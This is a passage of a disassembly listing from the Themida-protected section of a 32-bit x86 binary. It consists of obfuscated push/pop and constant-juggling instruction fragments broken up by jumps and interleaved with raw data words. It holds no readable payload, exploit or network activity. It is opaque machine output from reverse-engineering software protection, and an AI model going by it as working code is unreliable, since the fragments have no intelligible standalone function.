ecx, 566E5448h xor ecx, 28B51F39h jmp loc_55231C ; --------------------------------------------------------------------------- db 1 dd 0C6015BDEh, 0CECE9h, 48B6600h, 48936824h, 4890000h dd 81E08924h, 4ECh, 24348900h, 1D2868h, 0AE29E900h, 489FFFFh dd 242C8124h, 50F2454h, 0C7E9505Ah db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550143: ; CODE XREF: Themida_:00550D1Cj pop eax push dword ptr [esp] pop ecx jmp loc_55016A ; --------------------------------------------------------------------------- db 0Dh, 0E8h, 57h dd 98053BB8h, 0E90FBFD5h, 0FFFFAA2Ah, 0E9FFC180h, 0FFFFC2C7h dd 1A80E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55016A: ; CODE XREF: Themida_:00550148j add esp, 4 sub eax, 22424DA6h jmp loc_54DF74 ; --------------------------------------------------------------------------- db 87h dd 895C243Ch, 0E189240Ch, 4C181h, 0C1830000h, 64C7E904h dd 0F031FFFFh, 8124348Bh, 4C4h, 0E9C52900h, 0FFFFDB9Bh dd 8B316FB8h, 165DE97Fh, 48F0000h, 24248B24h, 2424D366h dd 641BE99Ch, 3C87FFFFh, 1C895C24h, 1D34BB24h, 34E91454h dd 50FFFF9Fh, 0AB1B50B8h, 1F53E9A4h, 0E9590000h, 0FFFF7BE2h ; --------------------------------------------------------------------------- loc_5501DC: ; CODE XREF: Themida_:005472C5j pop esp add ebx, 2 jmp loc_552360 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0F9h dd 2979FF7Fh, 0C583E9D1h, 0B151FFFFh, 66C180B2h, 32E9CC08h dd 0E9FFFFDAh, 0FFFF63D1h ; --------------------------------------------------------------------------- loc_550204: ; CODE XREF: Themida_:0054BEE4j shr edi, 7 jmp loc_54F014 ; --------------------------------------------------------------------------- dd 51241C8Bh, 4EC81h, 24890000h, 24048324h, 0F2E95904h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550223: ; CODE XREF: Themida_:005526D4j or [edi+1Ch], esi pop esi push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 5FF75A67h xor ebx, 3C0B79FCh add ebx, 71750556h jmp loc_546E79 ; --------------------------------------------------------------------------- db 5Bh dd 2D48F381h, 7E91BD9h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550253: ; CODE XREF: Themida_:0054BAFDj pop ecx add ebp, 4 jmp loc_548D5B ; --------------------------------------------------------------------------- dd 0D2BD555Ah, 31771633h, 59525DEAh, 0FF9B2AE9h, 82CBAFFh dd 0F2812CDCh, 569556B2h, 644BEA81h, 0C2814A52h, 0EA8E115Fh dd 148BD631h, 4C48324h, 242C8156h, 3B7F1494h, 8138428Fh dd 14943842h, 5D5E3B7Fh, 5196BF57h, 0E78125A8h, 0E8F3BF3h dd 5EF3F781h, 42C70F69h, 1EB09F30h, 790268F4h, 1C890000h dd 30BB24h, 0EB810000h, 1F933FB9h, 0C381D301h, 1F933FB9h dd 0FFE34FE9h, 13E957FFh, 5FFFF9Bh, 1C5D4683h, 0FFA090E9h dd 0FC330FFh, 34FFC0B6h, 62DFE987h, 8166FFFFh, 664482F3h dd 66526643h, 664BFFBAh, 8DE9D331h, 0C1FFFFEFh, 814A02E2h dd 0F8544AC2h, 0E185E961h, 0D821FFFFh, 0FFE362E9h db 0FFh ; --------------------------------------------------------------------------- loc_550321: ; CODE XREF: Themida_:005497A2j mov [esp], ecx jmp loc_548B1C ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 87000000h, 45C241Ch, 2CD82838h, 876DE938h, 2C89FFFFh dd 2474FF24h, 242C8B04h, 4C481h, 48F0000h, 24248B24h, 240CFF66h dd 6277E99Ch, 814BFFFFh, 900DEEEBh, 51DBF74Ah, 5353F7B9h dd 41E1812Fh, 81671938h, 7D3501C1h, 41D1F734h, 0A725E952h dd 30ACFFFFh, 0E28952D8h, 0FFDAB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55038D: ; CODE XREF: Themida_:0054E88Aj push edi mov edi, esp jmp loc_54AC6D ; --------------------------------------------------------------------------- db 83h, 0C6h, 1 dd 0EE81DEF7h, 142A5873h, 0C435C681h, 0EB81703Eh, 64323B1Dh dd 0C381F329h, 64323B1Dh, 0B5BEE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5503BA: ; CODE XREF: Themida_:0054A6BCj pop ebx and [edi+1Ch], ebx mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54A333 ; --------------------------------------------------------------------------- db 1, 29h, 59h dd 0A3BE565Dh, 81673D2Eh, 0AA164BF6h, 72C6814Fh, 0E9FD68CFh dd 0FFFFCBF8h, 81240C8Bh, 4C4h, 0EAB05000h, 0FFC0A5E9h dd 243C89FFh, 4EC81h, 8F540000h, 0E92404h, 8BFFFFD1h, 8956243Ch dd 6B60E9E6h, 0C209FFFFh, 256FE9h, 4C68100h, 57000000h dd 35E95055h, 0C1FFFF82h, 17E902E9h, 80FFFFE0h, 8FE975EBh dd 0AD000005h, 0AC07E005h, 58552D47h, 0D8293845h, 45585505h dd 28846838h, 2C890000h, 64BEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550462: ; CODE XREF: Themida_:0054705Cj mov eax, [esp] jmp loc_549EBD ; --------------------------------------------------------------------------- dw 0C629h dd 0E6814E58h, 5AA15E1Eh, 6E6C146h, 8344F681h, 0EB812011h dd 3CB249FFh, 51E9F301h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55048B: ; CODE XREF: Themida_:005471CCj pop dword ptr [esp] mov esp, [esp] push esi mov esi, 26F4724Dh jmp loc_54C654 ; --------------------------------------------------------------------------- loc_55049C: ; CODE XREF: Themida_:0054CB23j xchg edx, [esp] pop esp mov [esp], ecx push 748334CAh pop ecx jmp loc_54865A ; --------------------------------------------------------------------------- loc_5504AE: ; CODE XREF: Themida_:0054D41Cj xor [esp], ch xor ch, [esp] xor [esp], ch jmp loc_54D91B ; --------------------------------------------------------------------------- dd 18ACBA52h, 0B0BD1216h, 81121618h, 896F04C5h, 1553E922h dd 0C6810000h, 7FF52C5Dh, 0FFE285E9h, 0EA68ACFFh, 8900000Fh dd 71E92414h, 5C000014h, 0BA241489h, 35A230C4h, 0B8504242h dd 412320A4h, 5E8C140h, 368505h, 58C2315Eh, 0FF6681E9h db 0FFh ; --------------------------------------------------------------------------- loc_55050D: ; CODE XREF: Themida_:0054FF13j mov ebp, eax pop eax mov ecx, 63093BF9h xor ecx, ebp mov ebp, [esp] jmp loc_546747 ; --------------------------------------------------------------------------- loc_55051F: ; CODE XREF: Themida_:0054FD10j push ebp push esi push dword ptr [esp+4] pop esi jmp loc_552620 ; --------------------------------------------------------------------------- db 5Ch dd 0D33B951h, 0CA013B43h, 0E9240C8Bh, 0FFFF60E1h ; --------------------------------------------------------------------------- loc_55053C: ; CODE XREF: Themida_:00549932j push dword ptr [esp] pop esi add esp, 4 and eax, edi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_54B66F ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 0B82AE950h, 0E95AFFFFh, 0FFFFEB36h ; --------------------------------------------------------------------------- loc_55056C: ; CODE XREF: Themida_:00550580j xchg ebp, [esp] jmp loc_549EA3 ; --------------------------------------------------------------------------- loc_550574: ; CODE XREF: Themida_:0054A7C2j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55056C ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C1h dd 27B3556Dh, 0E981E901h, 27B3556Dh, 814CE95Dh, 6664FFFFh dd 6802B60Fh, 2CC1h, 0E9240489h, 0FFFFCD7Ah ; --------------------------------------------------------------------------- loc_5505AC: ; CODE XREF: Themida_:0054A9D7j add edx, edi jmp loc_54DFF4 ; --------------------------------------------------------------------------- loc_5505B3: ; CODE XREF: Themida_:0054C676j jnz loc_549C18 push 12A7h mov [esp], ebx mov ebx, edx push ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_546AF2 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 0E904C483h, 1A8Dh, 55C3015Dh, 0FD327EBDh dd 5DEB0140h, 0DAE9008Fh, 29FFFF5Fh, 0E959C8h, 8FFFFFBDh dd 248B2404h, 0BC85E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55060E: ; CODE XREF: Themida_:0054E084j push edi mov edi, 4DF176A7h add ebx, edi pop edi jmp loc_5519CA ; --------------------------------------------------------------------------- loc_55061C: ; CODE XREF: Themida_:00549EF1j pop ecx pop dword ptr [esp] jmp loc_54C8B6 ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 0FF6725E9h db 0FFh ; --------------------------------------------------------------------------- loc_55062D: ; CODE XREF: Themida_:0054B842j add ecx, 4 add ecx, 4 jmp loc_54CC16 ; --------------------------------------------------------------------------- dw 0F509h dd 0E924348Bh, 0FFFF62B9h, 0E904EC83h, 0FFFFFCEEh, 0E904E5C1h dd 0FFFFA015h ; --------------------------------------------------------------------------- loc_550658: ; CODE XREF: Themida_:0054D9D7j pop eax or ebp, 5CE11CB8h neg ebp neg ebp sub ebp, 7CEB3EFEh push ebp mov edx, [esp] add esp, 4 pop ebp loc_550671: ; CODE XREF: Themida_:0054CE67j ; Themida_:005509AAj push edi jmp loc_54E445 ; --------------------------------------------------------------------------- db 81h dd 317F5EF5h, 60892D68h, 0E8012604h, 4608905h, 0E9535D26h dd 0FFFFE398h ; --------------------------------------------------------------------------- loc_550690: ; CODE XREF: Themida_:0054CAA9j pop edx jmp loc_54C04D ; --------------------------------------------------------------------------- dw 0F201h dd 5B34C281h, 565E7383h, 4BEh, 0E9F22900h, 0EF8h, 0F781E7D1h dd 372AEDA4h, 0FFB852E9h, 240C89FFh, 2B9h, 9AEF8100h, 293E6F50h dd 3DB951CFh, 81355037h, 0E0E6A3E9h, 59CF01F6h, 0FFC8F0E9h dd 241C89FFh, 0FAE9EF88h, 8BFFFFCCh, 0C483241Ch, 4C38104h dd 83000000h, 1C8704C3h, 0C8B5C24h, 7B046824h, 1C890000h dd 815B5424h, 4C3h, 4EC8300h, 0BE243489h, 66F51E66h, 5BDFB850h dd 0DF354159h, 0C1601B40h, 0E8C102E0h, 4A790503h, 37E948C7h dd 81FFFFFDh, 0BAEE47C1h, 59CE3169h, 7CFEE681h, 0F68131F2h dd 63254B99h, 2275EE81h, 0F0290835h, 4EC835Eh, 51241C89h dd 0FF7E2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55075D: ; CODE XREF: Themida_:0054F547j push esp pop ebp push edi jmp loc_54FC72 ; --------------------------------------------------------------------------- loc_550765: ; CODE XREF: Themida_:00551BC8j pop edx push ebp push 2D9Ah mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push edi mov edi, 4 sub ebp, 65E0720Ch add ebp, edi add ebp, 65E0720Ch pop edi add ebp, 4 xchg ebp, [esp] pop esp jmp loc_549A97 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 14D35966h, 26E99C24h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5507AF: ; CODE XREF: Themida_:0054CD94j pop dword ptr [esp] xchg edi, esi not edi xchg edi, esi xor [esp], esi jmp loc_546F3A ; --------------------------------------------------------------------------- loc_5507C0: ; CODE XREF: Themida_:00549026j sub ebp, 4984C7Eh pop ecx push ecx mov ecx, 4 sub ebp, ecx pop ecx jmp loc_54A6AA ; --------------------------------------------------------------------------- loc_5507D5: ; CODE XREF: Themida_:0054F5E1j xor [edi+24h], ebx loc_5507D8: ; CODE XREF: Themida_:00551F0Fj push 3027h mov [esp], esi push 2765h jmp loc_54D9A9 ; --------------------------------------------------------------------------- dw 0D9F7h dd 7A66C181h, 0AAE930ACh, 0F6FFFF8Ch, 5A662414h, 5266D586h dd 88E8B551h, 0C7E959EEh, 8FFFFF77h, 4812404h, 424h, 0F7E95E00h dd 83FFFF62h, 2C8704C5h, 57585C24h, 0B77E06BFh, 28E78164h dd 81258905h, 200D44CFh, 41CF877Ah, 0DFF7CF87h, 0C781D7F7h dd 0B55B5FCAh, 815FF831h, 751DC5EAh, 0F634E92Eh, 77FFFFFFh dd 59669D1Ch, 241CD366h, 5D73E99Ch, 0F281FFFFh, 0FE34485Fh dd 0BBE9D501h, 83000015h, 0EFC004C4h, 0E1B15108h, 2BE9E1D0h dd 0FFFFFF6Ch, 148B2434h, 4C48124h, 56000000h, 0FFE178E9h db 0FFh ; --------------------------------------------------------------------------- loc_550891: ; CODE XREF: Themida_:0054937Ej pop esp mul ecx sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_54D1A7 ; --------------------------------------------------------------------------- dd 16BD5550h, 8904CA47h, 12355DE8h, 8104CA47h, 943621C2h dd 36C2810Fh, 178272Ah, 36EA81C2h, 0E978272Ah, 0FFFFBF26h dd 15AD089h, 0EC8158C1h, 4, 0FF6F43E9h, 28F581FFh, 122D51Ah dd 96E95DEEh, 59FFFF7Eh, 2474FF56h, 48F5E04h, 24248B24h dd 24048B66h, 0FFD9DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_550901: ; CODE XREF: Themida_:0054B068j dec ebx xor ebx, 197D3D10h sub ebp, ebx pop ebx add esi, ebp pop ebp push 1279h mov [esp], eax jmp loc_5510DC ; --------------------------------------------------------------------------- db 51h dd 0E92414F7h, 169Bh, 0C016E95Dh, 0FA01FFFFh, 26FAC281h dd 875F5C0Dh, 248B2414h, 5E1E2D24h, 2C81513Eh, 0C61EAD24h dd 242C8101h, 13C25237h, 81240401h, 4ECh, 0A860E900h, 0E386FFFFh dd 0FFC51BE9h, 4C281FFh, 56000000h, 4BEh, 0E9F20100h, 6E5h dd 4701BE5Bh, 0EE317728h, 0C1DEF75Dh, 0B95106E6h, 11446F96h dd 3699F181h, 0C7E90A30h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550993: ; CODE XREF: Themida_:0054C539j push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 add esp, 4 or eax, eax jnz loc_550671 push 300Eh jmp loc_54D677 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 54E90000h, 81FFFFFEh, 7933EFC9h, 5F5BE95Bh dd 0C300FFFFh, 6675C380h, 0EFEDE950h, 5A66FFFFh, 0FFAFAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5509E5: ; CODE XREF: Themida_:0054E963j sub esp, 4 mov [esp], ebx mov ebx, 48327AD8h push ecx push 1FF42457h jmp loc_54B3BA ; --------------------------------------------------------------------------- dw 248Bh dd 5BCFE924h, 0F801FFFFh, 7106D105h, 6827051Ah, 3C8B1B13h dd 4C48324h, 0FFBD15E9h, 22685CFFh, 8900005Bh, 54562414h dd 0D2E9525Eh, 89FFFFB6h, 5FBB53E0h, 0E9101770h, 0FFFFE537h dd 4245C01h, 0FFA1C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_550A45: ; CODE XREF: Themida_:00548C87j pop ecx push 6B88h mov [esp], ebp mov ebp, 0F82C00B4h add ebx, ebp jmp loc_54F492 ; --------------------------------------------------------------------------- a_hD db '_h,d',0 align 10h dd 89241C89h, 28E957E3h, 5AFFFFC4h, 0FFF4B3E9h, 66592CFFh dd 5624148Bh, 0C681E689h, 4, 8702C683h, 555C2434h, 0FF923DE9h db 0FFh ; --------------------------------------------------------------------------- loc_550A8D: ; CODE XREF: Themida_:0054CF5Dj or ecx, 15CC5A93h sub ecx, 95EEDADBh sub eax, 3F946655h sub eax, 28677BD4h add eax, ecx add eax, 28677BD4h add eax, 3F946655h pop ecx add eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_54F160 ; --------------------------------------------------------------------------- db 88h, 0EBh, 66h dd 66D83059h, 8853515Bh, 5BDD88C3h, 0C8BEB88h, 0E2895224h dd 0FFE2A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_550AE1: ; CODE XREF: Themida_:0054C6E6j xor ebp, edx jmp loc_54D036 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 4EC8304h, 0FF6C0EE9h, 0D831ADFFh dd 3D9B6855h, 14890000h, 3CD2BA24h, 0E9562450h, 0FFFF9A7Dh dd 4C481h, 0F0310000h, 8124348Bh, 4C4h, 4EC8300h, 0B8240489h dd 6BF4642Dh, 0FFAE6AE9h db 0FFh ; --------------------------------------------------------------------------- loc_550B31: ; CODE XREF: Themida_:00547872j push dword ptr [esp+4] jmp loc_551867 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 4EC81h, 2C890000h, 0F2B3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B4E: ; CODE XREF: Themida_:00552973j add edi, 4 push edi jmp loc_54F1CC ; --------------------------------------------------------------------------- dw 0E9B9h dd 56139C5Bh, 2A13F8BEh, 5EF10929h, 0E981D9F7h, 74190703h dd 0D9F7D1F7h, 0ADCFC181h, 62052B85h, 2955AD34h, 34622DC8h dd 5D5955ADh, 6E9768h, 24348900h, 0C681E689h, 4, 8704EE83h dd 895C2434h, 0EDBB241Ch, 3150EC97h, 9CDE9D8h, 34330000h dd 4085C24h, 1AE99C24h, 0E9FFFF5Ah, 0FFFF5A15h, 24048F54h dd 4B850h, 44010000h, 17E90424h, 0B8FFFFF0h, 4, 0FFD6C0E9h dd 4C481FFh, 0E9000000h, 17F8h, 4C381h, 0EB810000h, 4 dd 5C241C87h, 0FF9496E9h, 0C38159FFh, 65EB6CD6h, 47F8C381h dd 0EEE9FF54h, 52FFFF7Eh, 7FE95A54h, 81FFFFDCh, 4738B0C2h dd 8B41E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C22: ; CODE XREF: Themida_:0054DF6Fj pop esp or eax, eax jnz loc_55119F push 1 push dword ptr [esp] mov edx, [esp] push edi mov edi, esp jmp loc_54CB28 ; --------------------------------------------------------------------------- dw 0F9F6h dd 0CCB60F66h, 0E904EC83h, 0FFFFF29Bh, 0E95119B3h, 162Fh dd 0C69530BBh, 58C301FEh, 81E9DF01h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C63: ; CODE XREF: Themida_:0054A3BFj xor ebp, edx not edx push ebp push 274Ch mov [esp], edx pop ebp push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push 52A4h jmp loc_54AF3E ; --------------------------------------------------------------------------- dw 1368h dd 5B3F094Eh, 1C44CB81h, 98E97578h, 5AFFFFD2h, 6802C683h dd 6C96h, 0E9243489h, 0FFFFDA07h, 0E918E280h, 0FFFFD89Ch dd 43B268h, 48876800h, 24890000h, 24048124h, 4, 6824048Fh dd 38C0h, 81243489h, 4ECh, 240C8900h, 0FFA8E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550CE2: ; CODE XREF: Themida_:0054D1BEj add dword ptr [esp], 3F86FF7h pop ebx sub ebx, 3F86FF7h pop eax sub ebx, 1A9D242Dh add ebp, ebx pop ebx push edx mov edx, 4 sub ebp, 49120BD7h sub ebp, edx jmp loc_548021 ; --------------------------------------------------------------------------- loc_550D0D: ; CODE XREF: Themida_:00551F81j xor eax, ecx push ecx jmp loc_54A9A5 ; --------------------------------------------------------------------------- loc_550D15: ; CODE XREF: Themida_:0054F735j xor ecx, 10E77C25h push ecx jmp loc_550143 ; --------------------------------------------------------------------------- db 9, 57h, 1Ch dd 58ABE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D2A: ; CODE XREF: Themida_:0054AE69j sub eax, 2A011D54h sub eax, edx add eax, 2A011D54h push dword ptr [esp] pop edx add esp, 4 push dword ptr [edi+eax*4] jmp loc_54FB34 ; --------------------------------------------------------------------------- dd 0D4ED815Dh, 81210B6Ch, 0EDA9CFEDh, 0EC8155E9h, 4, 0E9240C89h dd 0FFFF7773h, 2912EB2Dh, 0EC3EE955h, 148BFFFFh, 0E2895224h dd 4C281h, 0EA810000h, 4, 5C241487h, 54240C89h, 0E9240C8Bh dd 0FFFF7AAEh, 62C268h, 240C8900h, 8904EC83h, 4832424h dd 34FF0424h, 240C8B24h, 0FFE019E9h, 0ACB450FFh, 0FFCA2BE9h dd 1BDFFh, 0EA010000h, 0D2C2815Dh, 817B642Ah, 125610F2h dd 0D872E948h, 0CF00FFFFh, 5D36E959h, 0FAE9FFFFh, 56FFFF57h dd 2BEh, 5EF10100h, 0FFB710E9h, 240C89FFh, 0B134B353h dd 67C8E984h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550DF6: ; CODE XREF: Themida_:0054F41Dj mov ebx, esp jmp loc_54F2F6 ; --------------------------------------------------------------------------- db 52h, 0BAh, 36h dd 0E9118151h, 0FFFFA4DCh, 8702C383h, 248B241Ch, 6F96E924h dd 0C181FFFFh, 4, 5104E983h, 42474FFh, 24048F59h, 240C895Ch dd 16A9AEB9h, 23B9515Eh, 81371271h, 0B66349E9h, 0D1F74939h dd 20C0E181h, 0E9574FC9h, 177Bh ; --------------------------------------------------------------------------- loc_550E4C: ; CODE XREF: Themida_:0054CC09j mov [esp], ebp push edx jmp loc_54860D ; --------------------------------------------------------------------------- loc_550E55: ; CODE XREF: Themida_:00548CABj push dword ptr [esp] pop eax push ecx jmp loc_54D2DD ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 5DEB3104h, 341168h, 242C8900h, 0F2BD5550h dd 0E9386461h, 0FFFF7754h, 305AC580h, 6DD0E9ECh, 1C87FFFFh dd 34FF5C24h, 24048B24h, 4C481h, 0E9560000h, 229h, 0C1815954h dd 4, 70F6BE56h, 186856BFh, 89000009h, 0E6B82404h, 0E9777C19h dd 0FFFFBB71h, 34FFD001h, 0C4835A24h, 246C8104h, 0F82CE404h dd 603BE935h, 0EABFFFFFh, 53B6258h, 7E55496h, 0FEEE9h dd 4C18100h, 56000000h, 2BEh, 0FFF10100h, 348B2434h, 9D00E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550EFA: ; CODE XREF: Themida_:0054AD23j mov ecx, 4 add ebp, ecx jmp loc_5476B4 ; --------------------------------------------------------------------------- dw 3159h dd 0E9525BD8h, 0FFFF5BDCh, 8ECAE953h, 0E95BFFFFh, 0FFFFAC5Bh dd 4C4835Bh, 8904EC83h, 0DDE92404h, 89FFFFCEh, 4C581E5h dd 50000000h, 0AF0C81B8h, 0BD55483Bh, 56721DE5h, 4B12C581h dd 0E821CF7Bh, 6850515Dh, 609905CAh, 2E8C158h, 0FFF1F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_550F59: ; CODE XREF: Themida_:005516AEj push ecx push ebp mov ebp, 26590DAEh sub ebp, 657217BAh jmp loc_54F8D7 ; --------------------------------------------------------------------------- db 81h dd 0CB6EE9F1h, 0E147E9BCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F76: ; CODE XREF: Themida_:0054AC98j and ebx, 37A031EBh or ebx, 27A52684h push edx mov edx, 33EC7A7Ch shl edx, 2 sub edx, 7C9C667Eh neg edx add edx, 17309FCh xor edx, 0C8A3872h add edx, 0CF1BB3DBh jmp loc_54F27B ; --------------------------------------------------------------------------- dw 0F5Ch dd 0F768C8B7h, 0E9000055h, 0FFFF7098h, 9C240CD3h, 0FFDB0BE9h dd 24048FFFh, 8FE3E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550FCA: ; CODE XREF: Themida_:0054E843j pop bx add dh, 0FFh push 20DEh jmp loc_54F4F3 ; --------------------------------------------------------------------------- db 87h, 0D1h, 81h dd 2810F0C1h, 41E9575Bh, 8BFFFFC9h, 5457240Ch, 4C7815Fh dd 83000000h, 0FF5704C7h, 5F042474h, 5C24048Fh, 8B24048Fh dd 85662424h, 0C6E99CC8h, 52FFFF55h, 0FFA471E9h, 5DE831FFh dd 0BED02A05h, 0A413E9F4h, 486FFFFh, 86D0F624h, 4FE2404h dd 24148B24h, 0FFCF5BE9h, 0D3005AFFh, 0FFB9CEE9h, 4BD55FFh dd 29000000h, 0FF525DEAh, 8B042474h, 0C4832414h, 24048F04h dd 0FFB370E9h, 0EC815EFFh, 4, 0E9241489h, 0FFFF7176h ; --------------------------------------------------------------------------- loc_551068: ; CODE XREF: Themida_:0054A927j add edx, 4 xchg edx, [esp] pop esp push edx push esp pop edx push ebp jmp loc_552600 ; --------------------------------------------------------------------------- dd 2404FF66h, 5553E99Ch, 0BD55FFFFh, 74E209DAh, 1DF628BEh dd 5DEE018Bh, 335EF701h, 3C31243Ch, 243C3324h, 2404305Ch dd 552FE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5510A6: ; CODE XREF: Themida_:005490F5j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp], eax jmp loc_54CD8E ; --------------------------------------------------------------------------- db 89h, 0E6h, 52h dd 0FFAF2BE9h, 323268FFh, 8F540000h, 0E9502404h, 0FFFFFF33h ; --------------------------------------------------------------------------- loc_5510DC: ; CODE XREF: Themida_:00550916j mov eax, 4 push ebp mov ebp, offset dword_5B7298 sub ebp, 0ACE7B48h sub ebp, 7E786914h sub ebp, 49D76CA6h add esi, ebp pop ebp sub esi, eax sub esi, 2D3D2196h mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xchg esi, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_5465D5 ; --------------------------------------------------------------------------- loc_551128: ; CODE XREF: Themida_:0055294Aj pop eax push edi push eax jmp loc_547E0C ; --------------------------------------------------------------------------- dd 0D8EA80h, 805A5AD3h, 0EB80EFEBh, 80C300AFh, 0C380AFC3h dd 0A55AE9EFh, 0D830FFFFh, 4EC81h, 1C890000h, 0F1B05024h dd 0FFBAF6E9h, 240C33FFh, 33240C31h, 665C240Ch, 9C240429h dd 0FF5464E9h, 7AACBDFFh, 0DE939ABh, 59FFFF7Ah, 83241C8Bh dd 0C78304C4h, 243C8704h, 3124248Bh, 0E99C2404h, 0FFFF5441h ; --------------------------------------------------------------------------- loc_551194: ; CODE XREF: Themida_:0054E785j add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] pop esp loc_55119F: ; CODE XREF: Themida_:00547050j ; Themida_:00550C25j push dword ptr [edi+24h] xor dword ptr [esp], 52A82358h push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_54FB5F ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF78FEh, 0FF5404E9h, 8BC828FFh, 9968240Ch dd 89000077h, 8B542404h, 0C4832404h, 40504h, 15E90000h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5511EF: ; CODE XREF: Themida_:0054FA0Bj sub eax, 595D01AEh jmp loc_5470F4 ; --------------------------------------------------------------------------- db 58h, 5Eh, 68h dd 1B0Eh, 53241489h, 41242C81h, 0E97D7A11h, 0FFFF73E4h dd 8103E1C1h, 0BB1933E1h, 6FE98123h, 51E444F7h, 0E0243481h dd 58693C02h, 3C02E035h, 0C5BE5969h, 311CCE19h, 0F00158C6h dd 0FF7DA2E9h, 48B66FFh, 78236824h, 2C890000h, 81E58924h dd 4C5h, 2BF5700h, 0E9000000h, 0FFFF7C30h ; --------------------------------------------------------------------------- loc_55125C: ; CODE XREF: Themida_:0054D2E6j mov eax, edx jmp loc_54E4CF ; --------------------------------------------------------------------------- db 81h dd 9F4D5AC9h, 0E35AE956h, 8E68FFFFh, 8900000Fh, 5AE92414h dd 81FFFF53h, 4C7h, 243C3300h, 0FFD313E9h, 240C89FFh, 4B50F9B9h dd 244C0162h, 0B9FCE904h, 0FD01FFFFh, 242C875Fh, 0FF77EFE9h dd 575A59FFh, 940059BFh, 780AE968h, 74FFFFFFh, 8F5E0424h dd 0E92404h, 81000008h, 146C05EAh, 0E71BE984h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5512CA: ; CODE XREF: Themida_:005490CFj push eax jmp loc_54A8AA ; --------------------------------------------------------------------------- dd 831C77FFh, 0A1E904ECh, 81FFFFECh, 4C4h, 48E95A00h, 0C0FFFF6Fh dd 0A5E907EDh, 0E9FFFFD6h, 0FFFF52E1h, 6C7EE95Ch, 8F66FFFFh dd 0D2E98704h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551303: ; CODE XREF: Themida_:005514C3j sub dword ptr [esp+4], 73020428h mov eax, [esp] add esp, 4 jmp loc_54AC9D ; --------------------------------------------------------------------------- db 29h, 0F5h, 5Eh dd 5DF5ED81h, 31E96969h, 5FFFFFD8h, 6EBF5751h, 0C17CB12Ch dd 0D7F704EFh, 0ED35EF81h, 0F989F834h, 0E9CA015Fh, 0FFFFC7BCh dd 50EB68h, 243C8900h, 0FF6C8FE9h, 148966FFh, 0DDECE924h dd 0C201FFFFh, 4DE95258h, 66FFFF79h, 0D9BE6656h, 0F229661Bh dd 89665E66h, 0B0F2E9D5h, 77FFFFFFh, 5257E92Ch, 0B0BEFFFFh dd 2175606Bh, 0F1815EF1h, 0BF70618h, 441CF181h, 0CE014BF7h dd 8EDCE959h, 0D3F7FFFFh, 3AC7EB81h, 0BDE90090h, 0C1FFFFF9h dd 0EFD102E7h, 4E9CCF81h, 0F781286Dh, 7D78B55Dh, 0E95FFB29h dd 0FFFF716Bh, 33240C31h, 248B240Ch, 240C8924h, 0FFA1F9E9h dd 0FEEC86FFh, 0C28EE9CCh, 8851FFFFh, 8BC888F1h, 0F4E9240Ch dd 8BFFFFFEh, 0E6E92424h, 59FFFF51h, 0CDB95155h, 0E97B6778h dd 0FFFFC671h, 0E9B7B252h, 0FFFF5697h, 0BF57E289h, 6760437Fh 